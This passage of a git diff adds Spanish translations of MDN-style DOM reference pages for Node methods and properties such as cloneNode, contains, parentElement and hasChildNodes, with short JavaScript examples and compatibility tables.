+<p>Si <code>deep</code> se establece a <code>false</code>, los elementos hijos no se clonan. Tampoco se clona ningún texto que contenga el nodo, ya que está contenido en uno o más nodos {{domxref("Text")}}.</p>
+
+<p>Si <code>deep</code> se evalúa a <code>true</code>, el subárbol completo (incluyendo texto que pueda estar en nodos {{domxref("Text")}} hijos) también se copian. En los nodos vacíos (por ejemplo, los elementos {{HTMLElement("img")}} y {{HTMLElement("input")}}) no importa si <code>deep</code> es <code>true</code> o <code>false</code>.</p>
+
+<div class="warning"><strong>Advertencia:</strong> <code>cloneNode()</code> puede conducir a elementos con ID's duplicados en el documento.</div>
+
+<p>Si el nodo original tiene un ID el elemento clonado se ubicará en el mismo documento, el ID del clon debería ser modificado para ser único. Los atributos name pueden necesitar ser modificados también, dependiendo de si se esperan nombres duplicados.</p>
+
+<p>Para clonar un nodo con el fin de agregarlo a un domento distinto, utiliza {{domxref("Document.importNode()")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-node-clonenode", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>
+<p>{{Compat("api.Node.cloneNode")}}</p>
+</div>
diff --git a/files/es/web/api/node/contains/index.html b/files/es/web/api/node/contains/index.html
new file mode 100644
index 0000000000..be0f8848d9
--- /dev/null
+++ b/files/es/web/api/node/contains/index.html
@@ -0,0 +1,56 @@
+---
+title: Node.contains()
+slug: Web/API/Node/contains
+tags:
+  - API
+  - DOM
+  - Nodo
+  - metodo
+translation_of: Web/API/Node/contains
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>El método <strong><code>Node.contains()</code></strong> devuelve un valor {{jsxref("Boolean")}} indicando si un nodo es descendiente de un nodo dado o no, por ejemplo, el propio nodo, uno de sus hijos directos (({{domxref("Node.childNodes", "childNodes")}})), uno de los hijos directos de su nodo hijo, etc.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">node.contains( otroNodo )
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Esta función verifica si un un elemento esté en el cuerpo de la página. Como <code>contains</code> es inclusivo y determinar si el cuerpo se contiene a sí mismo no es la intención de  <code>isInPage</code> este caso explícitamente devuelve <code>false</code>.</p>
+
+<pre class="brush:js">function isInPage(node) {
+  return (node === document.body) ? false : document.body.contains(node);
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-node-contains", "Node.contains()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("api.Node.contains")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Node.compareDocumentPosition")}}</li>
+ <li>{{domxref("Node.hasChildNodes")}}</li>
+</ul>
diff --git a/files/es/web/api/node/elementopadre/index.html b/files/es/web/api/node/elementopadre/index.html
new file mode 100644
index 0000000000..2a2e947a8d
--- /dev/null
+++ b/files/es/web/api/node/elementopadre/index.html
@@ -0,0 +1,46 @@
+---
+title: Node.parentElement
+slug: Web/API/Node/elementoPadre
+tags:
+  - API
+  - DOM
+  - NecesitaCompatiblidadNavegador
+  - Nodo
+  - Propiedad
+translation_of: Web/API/Node/parentElement
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>La propiedad de sólo lectura de <code><strong>Nodo.parentElement</strong></code> devuelve el nodo padre del DOM {{domxref("Element")}}, o <code>null</code>, si el nodo no tiene padre o si el padre no es un {{domxref("Element")}} DOM .</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>elementoPadre</em> = <em>node</em>.parentElement</pre>
+
+<p>El <code>elementoPadre</code> es el padre del nodo actual. Esto es siempre un objecto {{domxref("Element")}} DOM, o <code>null</code>.</p>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">if (node.parentElement) {
+    node.parentElement.style.color = "red";
+}</pre>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>En algunos navegadores, la propiedad <code>elementoPadre</code> es solo definida en nodos que ellos mismos son {{domxref("Element")}}. En particular, esto no está definido en nodos de texto.</p>
+
+<p>{{Compat("api.Node.parentElement")}}</p>
+
+<h2 id="Especificación" name="Especificación">Especificación</h2>
+
+<ul>
+ <li>{{spec("http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#parent-element", "DOM Level 4: Node.parentElement", "WD")}}</li>
+</ul>
+
+<h2 id="Ver_también" name="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Node.parentNode")}}</li>
+</ul>
diff --git a/files/es/web/api/node/haschildnodes/index.html b/files/es/web/api/node/haschildnodes/index.html
new file mode 100644
index 0000000000..b5b3bc58b2
--- /dev/null
+++ b/files/es/web/api/node/haschildnodes/index.html
@@ -0,0 +1,73 @@
+---
+title: Node.hasChildNodes()
+slug: Web/API/Node/hasChildNodes
+tags:
+  - API
+  - DOM
+  - Nodo
+  - metodo
+translation_of: Web/API/Node/hasChildNodes
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>El método <code><strong>Node.hasChildNodes()</strong></code> devuelve un valor <strong>Boolean</strong> indicando si el {{domxref("Node")}} (nodo) actual tiene <a href="/es/docs/Web/API/Node/childNodes" title="DOM/Node.childNodes">nodos hijos</a> o no.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>resultado</em> = <em>node</em>.hasChildNodes();</code></pre>
+
+<dl>
+ <dt><code>resultado</code></dt>
+ <dd>almacena el valor devuelto <code>true</code> o <code>false</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente ejemplo elimina el primer nodo dentro del elemento con id <code>"foo"</code> si <em>foo</em> tiene nodos hijos.</p>
+
+<pre class="brush:js">var foo = document.getElementById("foo");
+if (foo.hasChildNodes()) {
+    // do something with 'foo.childNodes'
+}
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush:js">;(function(prototype) {
+    prototype.hasChildNodes = prototype.hasChildNodes || function() {
+        return !!this.firstChild;
+    }
+})(Node.prototype);
+</pre>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Hay varias maneras de determinar si el nodo tiene nodos hijos.</p>
+
+<ul>
+ <li>node.hasChildNodes()</li>
+ <li>node.firstChild != null (o sólo node.firstChild)</li>
+ <li>node.childNodes &amp;&amp; node.childNodes.length (o node.childNodes.length &gt; 0)</li>
+</ul>
+
+<h2 id="Especificación" name="Especificación">Especificación</h2>
+
+<ul>
+ <li><a href="https://dom.spec.whatwg.org/#dom-node-haschildnodes">WHATWG: hasChildNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-810594187">hasChildNodes</a></li>
+</ul>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.Node.hasChildNodes")}}</p>
+
+<h2 id="Ver_también" name="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Node.childNodes")}}</li>
+ <li>{{domxref("Node.hasAttributes")}}</li>
+</ul>
diff --git a/files/es/web/api/node/index.html b/files/es/web/api/node/index.html
new file mode 100644
index 0000000000..6511274333
--- /dev/null
+++ b/files/es/web/api/node/index.html
@@ -0,0 +1,371 @@
+---
+title: Node
+slug: Web/API/Node
+tags:
+  - API
+  - DOM
+  - Interfaz
+  - Nodo
+  - Referencia
+translation_of: Web/API/Node
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Node</code></strong> es una interfaz en la cuál un número de objetos de tipo DOM API heredan. Esta interfaz permite que esos objetos sean tratados similarmente.</p>
+
+<p>Las siguientes interfaces todas heredan de los metodos y propiedades de <code>Node</code>: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("CharacterData")}} (heredan el {{domxref("Text")}}, el {{domxref("Comment")}}, y {{domxref("CDATASection")}}), {{domxref("ProcessingInstruction")}}, {{domxref("DocumentFragment")}}, {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}}, {{domxref("EntityReference")}}</p>
+
+<p>Estas interfaces pueden retornar null en casos particulares donde los métodos y las propiedades no son relevantes. Pueden retornar una excepción - por ejemplo cuando se agregan hijos a un tipo de node del cuál no puede existir hijos.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>herendan propiedades de sus padres {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.baseURI")}} {{readonlyInline}}</dt>
+ <dd>Retorna un {{domxref("DOMString")}} representando la base de la URL. El concepto de la base de la URL cambia de un lenguaje a otro;  en HTML, le corresponde al protocolo, el nombre del dominio y la estructura del directorio, eso es todo hasta el último <code>'/'</code>.</dd>
+ <dt>{{domxref("Node.baseURIObject")}} {{Non-standard_inline()}} {{ Fx_minversion_inline("3") }}</dt>
+ <dd>(Not available to web content.) The read-only {{ Interface("nsIURI") }} object representing the base URI for the element.</dd>
+ <dt>{{domxref("Node.childNodes")}} {{readonlyInline}}</dt>
+ <dd>Returns a live {{domxref("NodeList")}} containing all the children of this node. {{domxref("NodeList")}} being live means that if the children of the <code>Node</code> change, the {{domxref("NodeList")}} object is automatically updated.</dd>
+ <dt>{{domxref("Node.firstChild")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the first direct child node of the node, or <code>null</code> if the node has no child.</dd>
+ <dt>{{domxref("Node.lastChild")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the last direct child node of the node, or <code>null</code> if the node has no child.</dd>
+ <dt>{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the local part of the qualified name of an element. In Firefox 3.5 and earlier, the property upper-cases the local name for HTML elements (but not XHTML elements). In later versions, this does not happen, so the property is in lower case for both HTML and XHTML. {{ gecko_minversion_inline("1.9.2") }}<br>
+ Though recent specifications require <code>localName</code> to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.</dd>
+ <dt>{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>The namespace URI of this node, or <code>null</code> if it is no namespace. In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> namespace in both HTML and XML trees. {{ gecko_minversion_inline("1.9.2") }}<br>
+ Though recent specifications require <code>namespaceURI</code> to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.</dd>
+ <dt>{{domxref("Node.nextSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the next node in the tree, or <code>null</code> if there isn't such node.</dd>
+ <dt>{{domxref("Node.nodeName")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the name of the <code>Node</code>. The structure of the name will differ with the name type. E.g. An {{domxref("HTMLElement")}} will contain the name of the corresponding tag, like <code>'audio'</code> for an {{domxref("HTMLAudioElement")}}, a {{domxref("Text")}} node will have the <code>'#text'</code> string, or a {{domxref("Document")}} node will have the <code>'#document'</code> string.</dd>
+ <dt>{{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}{{ Fx_minversion_inline("3") }}</dt>
+ <dd>A {{ Interface("nsIPrincipal") }} representing the node principal.</dd>
+ <dt>{{domxref("Node.nodeType")}}{{readonlyInline}}</dt>
+ <dd>Returns an <code>unsigned short</code> representing the type of the node. Possible values are:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Name</th>
+    <th scope="col">Value</th>
+   </tr>
+   <tr>
+    <td><code>ELEMENT_NODE</code></td>
+    <td><code>1</code></td>
+   </tr>
+   <tr>
+    <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>2</code></td>
+   </tr>
+   <tr>
+    <td><code>TEXT_NODE</code></td>
+    <td><code>3</code></td>
+   </tr>
+   <tr>
+    <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>4</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>5</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>6</code></td>
+   </tr>
+   <tr>
+    <td><code>PROCESSING_INSTRUCTION_NODE</code></td>
+    <td><code>7</code></td>
+   </tr>
+   <tr>
+    <td><code>COMMENT_NODE</code></td>
+    <td><code>8</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_NODE</code></td>
+    <td><code>9</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_TYPE_NODE</code></td>
+    <td><code>10</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_FRAGMENT_NODE</code></td>
+    <td><code>11</code></td>
+   </tr>
+   <tr>
+    <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>12</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("Node.nodeValue")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the value of an object. For most <code>Node</code> type, this returns <code>null</code> and any set operation is ignored. For nodes of type <code>TEXT_NODE</code> ({{domxref("Text")}} objects), <code>COMMENT_NODE</code> ({{domxref("Comment")}} objects), and <code>PROCESSING_INSTRUCTION_NODE</code> ({{domxref("ProcessingInstruction")}} objects), the value corresponds to the text data contained in the object.</dd>
+ <dt>{{domxref("Node.ownerDocument")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Document")}} that this node belongs to. If no document is associated with it, returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentNode")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} that is the parent of this node. If there is no such node, like if this node is the top of the tree or if doesn't participate in a tree, this property returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentElement")}} {{readonlyInline}}</dt>
+ <dd>Returns an {{domxref("Element")}} that is the parent of this node. If the node has no parent, or if that parent is not an {{domxref("Element")}}, this property returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the namespace prefix of the node, or <code>null</code> if no prefix is specified.<br>
+ Though recent specifications require <code>prefix</code> to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.</dd>
+ <dt>{{domxref("Node.previousSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the previous node in the tree, or <code>null</code> if there isn't such node.</dd>
+ <dt>{{domxref("Node.textContent")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the textual content of an element and all its descendants.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parents {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.appendChild()")}}</dt>
+ <dd>Insert a {{domxref("Node")}} as the last child node of this element.</dd>
+ <dt>{{domxref("Node.cloneNode()")}}</dt>
+ <dd>Clone a {{domxref("Node")}}, and optionally, all of its contents. By default, it clones the content of the node.</dd>
+ <dt>{{domxref("Node.compareDocumentPosition()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.contains()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.getFeature()")}} {{obsolete_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Node.getUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Allows a user to get some {{domxref("DOMUserData")}} from the node.</dd>
+ <dt>{{domxref("Node.hasAttributes()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating if the element has any attributes, or not.</dd>
+ <dt>{{domxref("Node.hasChildNodes()")}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating if the element has any child nodes, or not.</dd>
+ <dt>{{domxref("Node.insertBefore()")}}</dt>
+ <dd>Inserts the first {{domxref("Node")}} given in a parameter immediately before the second, child of this element, {{domxref("Node")}}.</dd>
+ <dt>{{domxref("Node.isDefaultNamespace()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.isEqualNode()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.isSameNode()")}} {{obsolete_inline}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.isSupported()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a> flag containing the result of a test whether the DOM implementation implements a specific feature and this feature is supported by the specific node.</dd>
+ <dt>{{domxref("Node.lookupPrefix()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.lookupNamespaceURI()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.normalize()")}}</dt>
+ <dd>Clean up all the text nodes under this element (merge adjacent, remove empty).</dd>
+ <dt>{{domxref("Node.removeChild()")}}</dt>
+ <dd>Removes a child node from the current element, which must be a child of the current node.</dd>
+ <dt>{{domxref("Node.replaceChild()")}}</dt>
+ <dd>Replaces one child {{domxref("Node")}} of the current one with the second one given in parameter.</dd>
+ <dt>{{domxref("Node.setUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Allows a user to attach, or remove, {{domxref("DOMUserData")}} to the node.</dd>
+ <dd> </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Browse_all_child_nodes">Browse all child nodes</h3>
+
+<p>The following function recursively cycles all child nodes of a node and executes a callback function upon them (and upon the parent node itself).</p>
+
+<pre class="brush: js">function DOMComb (oParent, oCallback) {
+  if (oParent.hasChildNodes()) {
+    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
+      DOMComb(oNode, oCallback);
+    }
+  }
+  oCallback.call(oParent);
+}</pre>
+
+<h4 id="Syntax">Syntax</h4>
+
+<pre>DOMComb(parentNode, callbackFunction);</pre>
+
+<h4 id="Description">Description</h4>
+
+<p>Recursively cycle all child nodes of <code>parentNode</code> and <code>parentNode</code> itself and execute the <code>callbackFunction</code> upon them as <a href="/en-US/docs/JavaScript/Reference/Operators/this" title="en-US/docs/JavaScript/Reference/Operators/this"><code>this</code></a> objects.</p>
+
+<h4 id="Parameters">Parameters</h4>
+
+<dl>
+ <dt><code>parentNode</code></dt>
+ <dd>The parent node (<code><strong>Node</strong> <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object" title="en-US/docs/JavaScript/Reference/Global_Objects/Object">Object</a></code>).</dd>
+ <dt><code>callbackFunction</code></dt>
+ <dd>The callback function (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/JavaScript/Reference/Global_Objects/Function"><code>Function</code></a>).</dd>
+</dl>
+
+<h4 id="Sample_usage">Sample usage</h4>
+
+<p>The following example send to the <code>console.log</code> the text content of the body:</p>
+
+<pre class="brush: js">function printContent () {
+  if (this.nodeValue) { console.log(this.nodeValue); }
+}
+
+onload = function () {
+  DOMComb(document.body, printContent);
+};</pre>
+
+<h3 id="Remove_all_children_nested_within_a_node">Remove all children nested within a node</h3>
+
+<pre class="brush: js">Element.prototype.removeAll = function () {
+  while (this.firstChild) { this.removeChild(this.firstChild); }
+  return this;
+};</pre>
+
+<h4 id="Sample_usage_2">Sample usage</h4>
+
+<pre class="brush: js">/* ... an alternative to document.body.innerHTML = "" ... */
+document.body.removeAll();</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Removed the following properties: <code>attributes</code>, <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+    Removed the following methods: <code>isSupported()</code>, <code>hasAttributes()</code>, <code>isSameNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>The methods <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> returns one more kind of error (<code>NOT_SUPPORTED_ERR</code>) if called on a {{domxref("Document")}}.<br>
+    The <code>normalize()</code> method has been modified so that {{domxref("Text")}} node can also be normalized if the proper {{domxref("DOMConfiguration")}} flag is set.<br>
+    Added the following methods: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br>
+    Added the following properties: <code>baseURI</code> and <code>textContent</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>The <code>ownerDocument</code> property was slightly modified so that {{domxref("DocumentFragment")}} also returns <code>null</code>.<br>
+    Added the following properties: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+    Added the following methods: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getFeature()</code>{{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("6.0")}}.<br>
+    Removed in {{CompatGeckoDesktop("7.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getUserData()</code>, <code>setUserData()</code> and <code>hasAttributes()</code> {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("21.0")}}.<br>
+    Removed in {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isSameNode()</code> {{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("9.0")}}.<br>
+    Removed in {{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isSupported()</code> {{obsolete_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("21.0")}}.<br>
+    Removed in {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>{{CompatNo}}</td>
+   <td>Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("21.0")}}.<br>
+    Moved to {{domxref("Element")}} in {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getFeature()</code>{{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Supported from {{CompatGeckoDesktop("1.0")}} to {{CompatGeckoDesktop("6.0")}}.<br>
+    Removed in {{CompatGeckoDesktop("7.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Webkit and Blink incorrectly do not make <code>Node</code> inherit from {{domxref("EventTarget")}}.</p>
diff --git a/files/es/web/api/node/insertarantes/index.html b/files/es/web/api/node/insertarantes/index.html
new file mode 100644
index 0000000000..102d4dfbdd
--- /dev/null
+++ b/files/es/web/api/node/insertarantes/index.html
@@ -0,0 +1,172 @@
+---
+title: Node.insertBefore()
+slug: Web/API/Node/insertarAntes
+tags:
+  - API
+  - DOM
+  - Nodo
+  - Referencia
+  - metodo
+translation_of: Web/API/Node/insertBefore
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>El método <strong><code>Node.insertBefore()</code></strong> inserta un nodo antes del nodo de referencia como hijo de un nodo padre indicado. Si el nodo hijo es una referencia a un nodo ya existente en el documento, <code>insertBefore()</code> lo mueve de la posición actual a la nueva posición (no hay necesidad de eliminar el nodo de su nodo padre antes de agregarlo al algún nodo nuevo).</p>
+
+<p>Esto significa que el nodo no puede estar en dos puntos del documento al simultáneamente. Por lo que si el nodo ya tiene un padre, primero se elimina el nodo, y luego se inserta en la nueva posición. {{domxref("Node.cloneNode()")}} puede utilizarse para hacer una copia de un nodo antes de insertarlo en un nuevo padre. Ten en cuenta que las copias hechas con <code>cloneNode()</code> no se mantendrán sincronizadas automáticamente.</p>
+
+<p>Si el nodo de referencia es <code>null</code>, el nodo indicado se añadirá al final de la lista de hijos del nodo padre especificado.</p>
+
+<p>Si el hijo proporcionado es un {{domxref("DocumentFragment")}}, el contenido completo del <code>DocumentFragment</code> se moverá a la lista de hijos del nodo padre indicado.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>insertedNode</em> = <em>parentNode</em>.insertBefore(<em>newNode</em>, <em>referenceNode</em>);
+</pre>
+
+<ul>
+ <li><code>insertedNode</code> El nodo que esta siendo insertado, es decir, <code>newNode</code></li>
+ <li><code>parentNode</code> El padre del nodo recién insertado.</li>
+ <li><code>newNode</code> El nodo a insertar.</li>
+ <li><code>referenceNode</code> El nodo antes del cual se inserta <code>newNode</code>.</li>
+</ul>
+
+<p>Si <code>referenceNode</code> es <code>null</code>, el <code>newNode</code> se insertará al final de la lista de nodos hijos.</p>
+
+<div class="note">
